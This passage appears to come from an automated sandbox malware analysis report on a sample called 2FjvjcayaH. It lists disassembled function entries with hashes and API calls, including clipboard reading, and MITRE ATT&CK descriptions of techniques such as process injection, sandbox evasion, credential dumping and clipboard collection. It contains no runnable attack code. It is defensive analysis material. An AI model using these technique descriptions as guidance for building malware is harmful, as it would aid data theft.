Instruction Fuzzy Hash: 09017C05F592F58E9357073950BC9A4EFE358D7021B8E82D2D0EC0FA53CB14D912E750

Uniqueness

Uniqueness Score: -1.00%

Function 01BB0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: b9570734a8edb232e598b16a3d757fcba6182c568bcf9bf013865633731dc7dc
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: AA01F772A006008FDF26DF24C845BFF33F5FB85205F0940E4E90697682E7B0A8418B80

Uniqueness

Uniqueness Score: -1.00%

Function 01BE5DF2 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction ID: 77564662a990bfbac5315151d55c1a093c531fc12b8f4d5c27eecbbbb8185e9a
Opcode Fuzzy Hash: 740ebc34b8d8c971d3edc87d0057dfa78f29b7d66a8bae47ee5e3db84938a7f1
Instruction Fuzzy Hash: 121175705083019FE708CF04C4A472BFBE2EBC5328F248A5CE8A91B280C375D95ACF86

Uniqueness

Uniqueness Score: -1.00%

Function 004222E7 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22546f99e50fa1cd20f4e848063b844932456e5f88951c94d3a8bf2e1adf9cfc
Instruction ID: da1959f06b144253251600539986a4226ee0a833d97f19eb2b671546ae5f8514
Opcode Fuzzy Hash: 22546f99e50fa1cd20f4e848063b844932456e5f88951c94d3a8bf2e1adf9cfc
Instruction Fuzzy Hash: 2CF05E34A082918AC758CF25911077BFBF1ABD7304F18546ED8C6E7381C7799906CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 01BD254E Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be5e049401684f194b08819869a293347c519bd3afc6808cfc48a25f8e1ddc2
Instruction ID: c56ca39a1c84233284321953b2a96c1531c77362954cbbe4dca881dc14081f07
Opcode Fuzzy Hash: 7be5e049401684f194b08819869a293347c519bd3afc6808cfc48a25f8e1ddc2
Instruction Fuzzy Hash: 98F09A349082C28AC71C8F198020B7AFBF0AFE3208F1454DED4C2A7641D7659906CB1A

Uniqueness

Uniqueness Score: -1.00%

Function 01BC07CC Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04c0458a2a261ae056f4b6bf9d9abe57ce7bd634a7cb3f480d07945d0f1ebac3
Instruction ID: 3510f63e46f31fb3398f4710c595e25beba021336d0fd03ef6e05db7275282b9
Opcode Fuzzy Hash: 04c0458a2a261ae056f4b6bf9d9abe57ce7bd634a7cb3f480d07945d0f1ebac3
Instruction Fuzzy Hash: 4BE09A79B402014BCA18AB30D8E1ABEB2B3AB96200F48142CC14793B61CF64B882DA05

Uniqueness

Uniqueness Score: -1.00%

Function 00439389 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fd30e276bf9b8ca60c7e9f4d336a3dfd04ea58542db34434b33d7ae12a906f
Instruction ID: 316230ff0a99a498277836f80148caa7b4dc62ee97b6f882d9193845b301526a
Opcode Fuzzy Hash: 01fd30e276bf9b8ca60c7e9f4d336a3dfd04ea58542db34434b33d7ae12a906f
Instruction Fuzzy Hash: 1AF0A578541600CFC724CF09E491921FBF9FB9A304725956EC855CB326DB71E826CF59

Uniqueness

Uniqueness Score: -1.00%

Function 01BE95F0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fd30e276bf9b8ca60c7e9f4d336a3dfd04ea58542db34434b33d7ae12a906f
Instruction ID: 316230ff0a99a498277836f80148caa7b4dc62ee97b6f882d9193845b301526a
Opcode Fuzzy Hash: 01fd30e276bf9b8ca60c7e9f4d336a3dfd04ea58542db34434b33d7ae12a906f
Instruction Fuzzy Hash: 1AF0A578541600CFC724CF09E491921FBF9FB9A304725956EC855CB326DB71E826CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D160 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 3bf45f874725fd3361cc59af6ca13fe458526cafa87ecabac6876a19fdf3f21e
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: A3D097B1E083B00E8708CD3804A0837FBF8EA47212B0810AFE4C1F7254C234DC06429C

Uniqueness

Uniqueness Score: -1.00%

Function 01BBD3C7 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 5476bce01c1c69e3ccb9a794604101f8ced708740a9fc2783733ec4683c04512
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: ECD097609093A00E670C8D3C00E08BBFFF4E983012B0810CEE1D2E3006C324D8028668

Uniqueness

Uniqueness Score: -1.00%

Function 00417A1A Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357252b79d041a9cb8863a8a70bc3eda74155f604f83d7974b85c32f99742b23
Instruction ID: 429b6e491936dd3adf72c035c7849fef6724af8828ce1e6042c1e2f453a999e0
Opcode Fuzzy Hash: 357252b79d041a9cb8863a8a70bc3eda74155f604f83d7974b85c32f99742b23
Instruction Fuzzy Hash: 4FD012B9A44A008BC618CF20E9826727375E743309F01683CD966FBB93D6AAF4159A0D

Uniqueness

Uniqueness Score: -1.00%

Function 01BC7C81 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d00143d9b47a150a09edb0ffbcaa3a4c2e54c1fb4a7751445bbacbac58bbda
Instruction ID: 60e9a88f6fceca4ea4748ada782c4325973a2728ad134671055f390e46fbc579
Opcode Fuzzy Hash: a1d00143d9b47a150a09edb0ffbcaa3a4c2e54c1fb4a7751445bbacbac58bbda
Instruction Fuzzy Hash: 39D022B8A007018BCA1CCF20D8C26B27378E703304F013828C822EBB42D2AAF0218A0D

Uniqueness

Uniqueness Score: -1.00%

Function 0043A182 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction ID: dd040a652c0bcf013a8ebc4902ff26566ce8e03b22f7871ebbe74977e02a64fb
Opcode Fuzzy Hash: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction Fuzzy Hash: 77C0123868C14487C708CF54DC40276F3A5E78B305F94A06DC44513306C5709816AA8D

Uniqueness

Uniqueness Score: -1.00%

Function 01BEA3E9 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction ID: 5fd9dbdde574449bd20eb91f3b74d14d1ba4374363817bfba9b14191e1eda79a
Opcode Fuzzy Hash: 7c77a9ebc51a86675e44a6f99a3966b2793bef48500e2cda15b5f9fb58d67fea
Instruction Fuzzy Hash: 8AC0123C64C14487C70C8F55DC84276F2EAE787305F94A16CC80513302D6709806AA4C

Uniqueness

Uniqueness Score: -1.00%

Function 00422422 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction ID: a0589430dc82ea4d69e026f10a0c0d3340d885b5bea6ee464c50c2b2f2e1b1d9
Opcode Fuzzy Hash: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction Fuzzy Hash: 45C04C6DF961814B8648CF059D5277662AAD7CB615725A1388456D3B64CA64E8028508

Uniqueness

Uniqueness Score: -1.00%

Function 01BD2689 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction ID: a0589430dc82ea4d69e026f10a0c0d3340d885b5bea6ee464c50c2b2f2e1b1d9
Opcode Fuzzy Hash: 4b5e3e9669de4d50f267f7cffccdae9573317f8fd3ea8b9d4cd734cdd1d2440a
Instruction Fuzzy Hash: 45C04C6DF961814B8648CF059D5277662AAD7CB615725A1388456D3B64CA64E8028508

Uniqueness

Uniqueness Score: -1.00%

Function 0043A190 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction ID: e16380c9e19cfba4a111690c21ce1dbdc4287d768eea557a9fc4bb7991e523d7
Opcode Fuzzy Hash: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction Fuzzy Hash: 44C04C7C64D14087D70CCF50D955676F3BAEB87705F94E16DC44513656C6709806AA4C

Uniqueness

Uniqueness Score: -1.00%

Function 01BEA3F7 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction ID: e16380c9e19cfba4a111690c21ce1dbdc4287d768eea557a9fc4bb7991e523d7
Opcode Fuzzy Hash: e002cc3f42241922a38815367ad6a91b3fcbe031655e2ba6955275dd152be1d5
Instruction Fuzzy Hash: 44C04C7C64D14087D70CCF50D955676F3BAEB87705F94E16DC44513656C6709806AA4C

Uniqueness

Uniqueness Score: -1.00%

Function 01BDDB57 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 155clipboardCOMMON

Download Yara Rule

APIs

GetWindowInfo.USER32 ref: 01BDDBB3
OpenClipboard.USER32 ref: 01BDDBC5
GetClipboardData.USER32 ref: 01BDDBE4
CloseClipboard.USER32 ref: 01BDDD16

Strings

b, xrefs: 01BDDC54
c, xrefs: 01BDDC4C
n, xrefs: 01BDDC68
a, xrefs: 01BDDC5C
l, xrefs: 01BDDC70
c, xrefs: 01BDDC6C

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataInfoOpenWindow
String ID: a$b$c$c$l$n
API String ID: 2278096442-2118919457
Opcode ID: 2b54a1d56b7a988d8ad228d874f51f3b45e33c2b14fc036dc6775d2ce95685e6
Instruction ID: 565ffd790800148b686ee08be6d4415ccc24c91825a74c43c254529a1b1b1789
Opcode Fuzzy Hash: 2b54a1d56b7a988d8ad228d874f51f3b45e33c2b14fc036dc6775d2ce95685e6
Instruction Fuzzy Hash: A1518E74404B80CFC729DF78C485716BBE1AF15324F088AADD8DA8B796E375E505CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 01BCE907 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 01BCEA32
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 01BCEA61

Strings

N, xrefs: 01BCEA8F
JE, xrefs: 01BCE992
mz, xrefs: 01BCEA87

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction ID: c4aeeec9f2017340fbdbe64e5fb1e3c412b7eaebe6aabb23d7a2f41d19c52587
Opcode Fuzzy Hash: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction Fuzzy Hash: B4514EB0108381AFD314CF01C895B5BBBE5EBC6794F108E1CF8A45B391D7B5DA4A8B96

Uniqueness

Uniqueness Score: -1.00%

Function 004226D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004227C2
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004227F9

Strings

MNO, xrefs: 00422814

Memory Dump Source

Source File: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1924269156.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2FjvjcayaH.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction ID: 6712c612b84ee881e1d235e81750fed71cd5445294cf952b386b04711fbcdcd3
Opcode Fuzzy Hash: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction Fuzzy Hash: 42B11571240B108BE32ACF24C5A0797BBE2FB85704F554B1DC9A74BA90D7B4B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 01BD2937 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 01BD2A29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 01BD2A60

Strings

MNO, xrefs: 01BD2A7B

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction ID: 8e40c593cfb5c8faa542d88eb2547cb4f961798ec091becf26d8c64cca287c61
Opcode Fuzzy Hash: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction Fuzzy Hash: 0AB11371140B408BE73ACF24C5A4797BBE2FB84708F554B1DC9A74BA90D7B5B50ACB84

Uniqueness

Uniqueness Score: -1.00%

Function 01BDE656 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 01BDE69E
SelectObject.GDI32 ref: 01BDE720

Strings

, xrefs: 01BDE6ED

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 0b50f28a8c68e1fb05571bb0984168fa001e6537b54374ceaa4d8c9408ba53fa
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 65512BB8605B008FC364DF28D595A16BBF1FB89700B118A6DE98A8BB60D731F845CF55

Uniqueness

Uniqueness Score: -1.00%

Function 01BB9057 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 01BB90C7

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 01BB908D

Memory Dump Source

Source File: 00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1bb0000_2FjvjcayaH.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction ID: 2127e593fd5f019de57dc1216effe26e6cf6e6137855792cd33b4617b73c7976
Opcode Fuzzy Hash: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction Fuzzy Hash: 96F0B2F040C212CADA0C7B7496C45FD7BA59F2C36CF8047E9D79641951DBF540498A97

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
